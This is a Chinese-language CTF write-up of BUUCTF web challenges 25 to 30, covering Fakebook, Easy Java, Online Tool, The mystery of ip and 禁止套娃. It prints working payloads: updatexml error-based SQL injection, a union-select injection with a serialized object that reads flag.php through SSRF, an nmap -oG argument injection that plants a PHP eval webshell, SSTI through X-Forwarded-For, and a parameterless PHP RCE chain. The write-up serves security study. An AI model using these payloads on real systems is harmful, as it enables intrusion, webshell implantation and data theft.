buuweb(25-30)
25.[网鼎杯 2018]Fakebook
非预期解:纯SQL注入。
注册账号(blog需要http开头)后登录,再点进去,发现数字型报错注入点【view.php?no=】;进行传统报错注入(他过滤了0x7e,但没过滤【~】,xs):
【1 and updatexml(1,concat('~',database()),1) --+】
【1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+】
【1 and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),1)--+】
【1 and updatexml(1,concat('~',(select group_concat(data) from users limit 0,1)),1) --+】
但发现flag不在数据库里面;数据库里有四项内容,分别对应我们自己注册的账号id,username,password和序列化存储的整个账号信息。
根据注入时频繁出现的/var/www/html/,猜测flag在/var/www/html/flag.php;于是,用load_file布尔盲注出flag。
脚本是网上嫖的,有几个自己不常用的写法:
url.format格式化字符串,将L,tmp的值依次填入url的两个大括号中;跟%有点类似。
elt在这里的用处和if差不多。它的函数原型是elt(N,a,b,c,...),若N=1,返回a,N=2,返回b...,N<1或N大于后面总项数,返回null。
elt那句,若满足要求,N=1,返回第一项,值为1.否则返回null,查不到。
预期解:.bak文件泄露+sql+SSRF+(反)序列化
dirsearch扫一遍找到robots.txt,进去找到user.php.bak。
代码审计,发现get函数里存在明显的SSRF。(初见;经典的PHP-SSRF源码)
所以,我们只要在账号的blog那里file协议读文件就行了。但是前端注册那里网址限制了http协议,需要另找办法。
又观察到注册的内容以对象的形式存储。于是想到用联合查询创建一个账户,使他的blog为file开头。(联合查询在查询并不存在的数据时,就会短暂构造一个虚拟的数据。)
它没过滤空格,但过滤了【union select】;中间不是空格就行了。xs*2
payload:
【?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'】
(userinfo对象序列化后的格式不仅可通过源码审计得出,还可在非预期报错注入那里right()慢慢搞出来。所以非预期也有一条切入预期解的道路?)
难度:7
26、[GXYCTF2019]BabyUpload
经典.htaccess绕过。
与【21、[MRCTF2020]你传你*呢】几乎完全相同。
27、[RoarCTF 2019]Easy Java
初见 Java WEB-INF/web.xml泄露
解法:
点击help,改包,POST读取【/WEB-INF/web.xml】;
根据其中内容,读取【/WEB-INF/classes/com/wm/ctf/FlagController.class】
反编译javaclass 或者直接发现代码中有一段base64,解密即得flag。
原理:
为什么GET不行,必须POST,不知道;当作一个可以尝试的姿势记下来吧。
WEB-INF是Java的WEB应用的安全目录。其主要包含:
/WEB-INF/web.xml :web应用程序配置文件
/WEB-INF/classes/ :Java-web是用java-class跑的,就是这些玩意。web.xml里的”Servlet访问URL映射配置”记录的就是这里的东西。
/WEB-INF/src ; /WEB-INF/database.properties 还没遇到过。
难度:6
28、[BUUCTF 2018]Online Tool
考点:
(1)CVE-2016-10045 或 https://paper.seebug.org/164/
(2)nmap -oG 参数
题目:
分析:
对于系统命令注入,我们首先的想法肯定是将命令分隔开,实现任意命令执行(之前UN做了一道经典的此类题)。
然而本题用了两个新的函数:escapeshellarg、escapedshellcmd.
escapeshellarg的作用是:将字符串内部任何存在的单引号转义,并且将输入用几对单引号括起来,变成几个小字符串(从内部单引号的位置断开;如果内部无单引号,就整体。)
escapeshellcmd的作用是:转义【&#;`|*?~<>^()[]{}$\和\x0A和\xFF和未配对的单引号双引号】
这两个函数的思路是‘先转义参数再转义命令’,意图是:首先,确保输入的字符串对应命令各参数,防止我们自己加参数的情况;其次,转义任何可能导致任意命令执行的字符,防止我们自己写命令。
(热知识科普:
<1>linux系统命令,没引号没事,引号括了参数值没事,引号括了参数符也没事,但引号同时括符和值就G了。【nmap -T5 -sT 127.0.0.1】【nmap -T5 '-sT' 127.0.0.1】 【nmap -T5 -sT '127.0.0.1'】可以执行,结果相同;但【nmap -T5 '-sT 127.0.0.1'】不能执行。
<2>nmap参数 -T5 -sT -Pn -F都不需要参数值,所以题目的host里正常应该只输一个ip)
通过前文所列的CVE和讲解,我们知道我们可以进行部分绕过,即让一部分输入内容出现在引号之外。但由于escapeshellcmd的过滤,还是无法分割命令进行RCE。但是,已有命令的参数完全可控了。
nmap【-oG】xxx可将扫描结果保存到xxx文件中,保存内容包括命令本身!这就意味着,我们可以写马。
最终payload【' <?php @eval($_POST["hack"]);?> -oG hack.php '】;最好在本地环境搭好后多加测试;payload的一些细节不同都可能影响可执行性。
难度:7
29、[BJDCTF2020]The mystery of ip
考点:SSTI模板注入。
解题:题目多次提示iP;在包中加X-Forwarded-For(cilent-ip也行),发现题目的ip可控。在XFF后面用【{{}}】尝试模板注入。首先尝试运算,发现可以执行后,尝试用PHP的【system】执行命令 本题就结束了。
注1:解题过程中“尝试用PHP的【system】执行命令”那步可以,其实是个巧合。因为我目前没接触过多少python题或SSTI题,本题的模板引擎又恰好是PHP的。实际上,本题的模板引擎是PHP的smarty引擎;最合理的验证方法为【{{$smarty.version}}】获取smarty版本。
关于smarty引擎:https://blog.csdn.net/qq_45521281/article/details/107556915
注2:读取文件flag.php可知,题目一开始显示的ip是通过remote-addr显现的,是个局域网ip。即,remote-addr虽然不能造假,但他的内容对服务器不一定有用(服务器想知道的是我们的公网ip)。这大概是诸如XFF,cilent-ip还存在的原因?
难度:4
30、[GXYCTF2019]禁止套娃
.git文件泄露+无参数RCE
(1) 抓包没有有效信息,burp-content也没有,也没有robots.txt,.bak。
访问/.git/,返回403,证明存在git文件泄露。
用githacker操作,出了点问题,生成的文件里啥都没有,还有一个报错
换用scrabble,成功获取了index.php。
(2) 这东西一共有三层过滤,第一层过滤伪协议防止我们直接文件读取/命令执行;第三层过滤进制转换等。主要是第二层:这是一个递归过滤,将形如【xxx()】的内容替换掉,可以递归多层。但是,它不能替换最内层括号里的内容,故那里必须为空,即我们所说的无参数绕过。
payload:
【?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));】
解释:
current(localeconv())配合获得【'.'】字符;current可被pos取代。
scandir('.')扫描当前目录;highlight_file不解释了,可被show_source取代。
array_flip() 交换数组的键和值 ;array_rand() 返回数组中的随机键名。
难度:6